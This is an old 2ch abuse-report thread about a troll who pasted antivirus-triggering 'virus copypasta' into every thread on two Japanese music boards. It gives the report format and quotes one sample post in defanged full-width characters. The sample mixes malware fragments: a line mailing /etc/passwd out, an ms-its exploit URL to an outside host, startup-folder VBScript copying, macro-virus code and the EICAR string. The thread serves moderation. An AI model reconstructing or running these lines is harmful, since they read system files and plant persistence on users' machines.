★061029 音楽系板『ｋａｋ．ｈｔａ＇；』ｺﾋﾟﾍﾟ荒し

**名無しの報告** · 2006/10/29(日) 23:57:37

邦楽男性ソロ板 http://music5.2ch.net/musicjm/
邦楽女性ソロ板 http://music5.2ch.net/musicjf/
全スレに、いわゆる「ウイルスコピペ」を貼り付ける荒らしを報告するスレ

◆報告の注意
・http://info.2ch.net/wiki/pukiwiki.php?%B9%D3%A4%E9%A4%B7%CA%F3%B9%F0
・書式を合わせて報告して下さい。フォーマットに沿っていないと原則スルーです。

◆書式
最新の書式はwikiを確認してください。
http://info.2ch.net/wiki/pukiwiki.php?%B3%C6%B9%D3%A4%E9%A4%B7%CA%F3%B9%F0%A4%CE%BD%F1%BC%B0
・書式４を推奨します。
・1報告10URL。半角スペースで区切ってください。
※時系列で報告して下さい。
※曜日表示は消して報告して下さい。

◆特徴
爆撃範囲　邦楽男性ソロ板・邦楽女性ソロ板の全スレ
継続性　　　2006年7月頃から

規模頻度
新スレが立つと必ずウイルス誤認コードを貼り付ける
2006年10月1日以降に立てられた現存スレの全てに貼り付けられていることを確認しています

**名無しの報告** · 2006/10/29(日) 23:58:13

投稿例（ウイルス誤認コードのため、すべて全角文字に変更しています。また、投稿規制にかかるため長い行を折り返しています。）
http://music5.2ch.net/test/read.cgi/musicjm/1161186925/19
19 ：NO MUSIC NO NAME ：2006/10/19(木) 07:13:10 ID:tLtZX7MU

ｋａｋ．ｈｔａ＇；ｋｅｎ＝ｗｄ＋＇ＳＴＡＲＴ
ｃａｔ　／ｅｔｃ／ｐａｓｓｗｄ　｜　ｍａｉｌ　ｎｏｂｏｄｙ＠ｎｏｎｅｘｉｓｔｅｎｔ．ｃｏｍ

＜ｂｏｄｙ　ｏｎｌｏａｄ＝ｗｉｎｄｏｗ（）＞
Ｉｆ　ｓ　＝　＂ｈｔｍ＂　ａｎｄ　ｆｓｏ．ＦｉｌｅＥｘｉｓｔｓ（ｆ１．ｐａｔｈ＋＂ｌ＂）　＝　Ｆａｌｓｅ　ｔｈｅｎｆｓｏ．ＣｏｐｙＦｉｌｅ　ｆ１．ｐａｔｈ，　ｆ１．ｐａｔｈ＋＂ｌ＂
Ｓｅｔ　Ａ４　＝　Ａ１．ＣｒｅａｔｅＴｅｘｔＦｉｌｅ（Ａ１．ＢｕｉｌｄＰａｔｈ（Ａ１．ＧｅｔＳｐｅｃｉａｌＦｏｌｄｅｒ（１）））
ｆｓｏ．ｃｏｐｙｆｉｌｅ　＂ｃ：\ｎｅｔｗｏｒｋ．ｖｂｓ＂，　＂ｊ：\ｗｉｎｄｏｗｓ\ｓｔａｒｔ　ｍｅｎｕ\ｐｒｏｇｒａｍｓ\ｓｔａｒｔｕｐ\＂
ｃ．Ｃｏｐｙ（ｄｉｒｓｙｓｔｅｍ＆＂\ＭＳＫｅｒｎｅｌ３２．ｖｂｓ＂）
ｃ．Ｃｏｐｙ（ｄｉｒｗｉｎ＆＂\Ｗｉｎ３２ＤＬＬ．ｖｂｓ＂）
ｃ．Ｃｏｐｙ（ｄｉｒｓｙｓｔｅｍ＆＂\ＬＯＶＥ－ＬＥＴＴＥＲ－ＦＯＲ－ＹＯＵ．ＴＸＴ．ｖｂｓ＂）
＜ｏｂｊｅｃｔ　ｄａｔａ＝＂ｍｓ－ｉｔｓ：ｍｈｔｍｌ：ｆｉｌｅ：／／Ｃ：\\ＭＡＩＮ．ＭＨＴ！ｈｔｔｐ：／／ｗｗｗ．ｌｏａｄｃａｓｈ．ｂｉｚ／／ａｄｖｅｒｔｓ／／３５／／ｍａｉｎ．ｃｈｍ：：／ｍａｉｎ．ｈｔｍ＂　ｔｙｐｅ＝＂ｔｅｘｔ／
Ｘ５Ｏ！Ｐ％＠ＡＰ［４\ＰＺＸ５４（Ｐ＾）７ＣＣ）７｝＄ＥＩＣＡＲ－ＳＴＡＮＤＡＲＤ－ＡＮＴＩＶＩＲＵＳ－ＴＥＳＴ－ＦＩＬＥ！＄Ｈ＋Ｈ＊
ｆｓｏ．ｃｏｐｙｆｉｌｅ　＂ｄｉｒｓｙｓｔｅｍ＆ｎｕｒｕｐｏ．ｖｂｓ＂，　＂ｊ：\ｗｉｎｄｏｗｓ\ｓｔａｒｔ　ｍｅｎｕ\ｐｒｏｇｒａｍｓ\ｓｔａｒｔｕｐ\＂
Ｉｆ　ｓ　＝　＂ｈｔｍ＂　ａｎｄ　ｆｓｏ．ＦｉｌｅＥｘｉｓｔｓ（ｆ１．ｐａｔｈ＋＂ｌ＂）　＝　Ｆａｌｓｅ　ｔｈｅｎ　ｆｓｏ．ＣｏｐｙＦｉｌｅ　ｆ１．ｐａｔｈ，　ｆ１．ｐａｔｈ＋＂ｌ＂
ＴｏＩｎｆｅｃｔ．ＣｏｄｅＭｏｄｕｌｅ．ＩｎｓｅｒｔＬｉｎｅｓ　ＢＧＮ，　ＡＤＩ１．ＣｏｄｅＭｏｄｕｌｅ．Ｌｉｎｅｓ（ＢＧＮ，　１）
Ｇ．ＲｅｇＷｒｉｔｅ　Ａ（＂ＩＪＤＸ＾ＭＮＢ＠Ｍ＾Ｌ＠ＢＩＨＯＤ］Ｒｎｇｕｖ｀ｓｄ］Ｌｈｂｓｎｒｎｇｕ］Ｖｈｏｅｎｖｒ］ＢｔｓｓｄｏｕＷｄｓｒｈｎｏ］Ｓｔｏ］ＶｈｏＲｕ｀ｓｕ＂），
　Ｅ．ＢｕｉｌｄＰａｔｈ（Ｅ．ＧｅｔＳｐｅｃｉａｌＦｏｌｄｅｒ（１），　Ａ（＂ＶＨＯＲＵ＠ＳＵ／ＷＣＲ＂））
ｌｉｎｅｓ（ｎ）＝ｒｅｐｌａｃｅ（ｌｉｎｅｓ（ｎ），＂＂＂＂，ｃｈｒ（９３）＋ｃｈｒ（４５）＋ｃｈｒ（９３））
ｍｓ－ｉｔｓ：ｍｈｔｍｌ：ｆｉｌｅ：／／ｃ：\
ｋａｋ．ｈｔａ＇；ｋｅｎ＝ｗｄ＋＇ＳＴＡＲＴ
ｋｉｌｌ　－９　ｘｚ／ｔＳａＢｈ０
Ｓｕｂ　ａｕｔｏ＿ｏｐｅｎ（）
Ａｐｐｌｉｃａｔｉｏｎ．ＯｎＳｈｅｅｔＡｃｔｉｖａｔｅ　＝　＂ｃｈｅｃｋ＿ｆｉｌｅｓ＂
Ｅｎｄ　Ｓｕｂ
Ｓｕｂ　ｃｈｅｃｋ＿ｆｉｌｅｓ（）
ｃ＄　＝　Ａｐｐｌｉｃａｔｉｏｎ．ＳｔａｒｔｕｐＰａｔｈ
ｍ＄　＝　Ｄｉｒ（ｃ＄　＆　＂＼＂　＆　＂ＰＥＲＳＯＮＡＬ．ＸＬＳ＂）
Ｉｆ　ｍ＄　＝　＂ＰＥＲＳＯＮＡＬ．ＸＬＳ＂　Ｔｈｅｎ　ｐ　＝　１　Ｅｌｓｅ　ｐ　＝　０
Ｉｆ　ＡｃｔｉｖｅＷｏｒｋｂｏｏｋ．Ｍｏｄｕｌｅｓ．Ｃｏｕｎｔ　＞　０　Ｔｈｅｎ　ｗ　＝　１　Ｅｌｓｅ　ｗ　＝　０
ｗｈｉｃｈｆｉｌｅ　＝　ｐ　＋　ｗ　＊　１０
Ｅｎｄ　Ｓｕｂ

**名無しの報告** · 2006/10/29(日) 23:58:24

邦楽女性ソロ板 http://music5.2ch.net/musicjf/
2006/10/01以降の110レス

**名無しの報告** · 2006/10/29(日) 23:58:34

**名無しの報告** · 2006/10/29(日) 23:58:40

**名無しの報告** · 2006/10/29(日) 23:58:45

**名無しの報告** · 2006/10/29(日) 23:58:50

**名無しの報告** · 2006/10/29(日) 23:58:57

**名無しの報告** · 2006/10/29(日) 23:59:01

**名無しの報告** · 2006/10/29(日) 23:59:07

**名無しの報告** · 2006/10/29(日) 23:59:11

**名無しの報告** · 2006/10/29(日) 23:59:16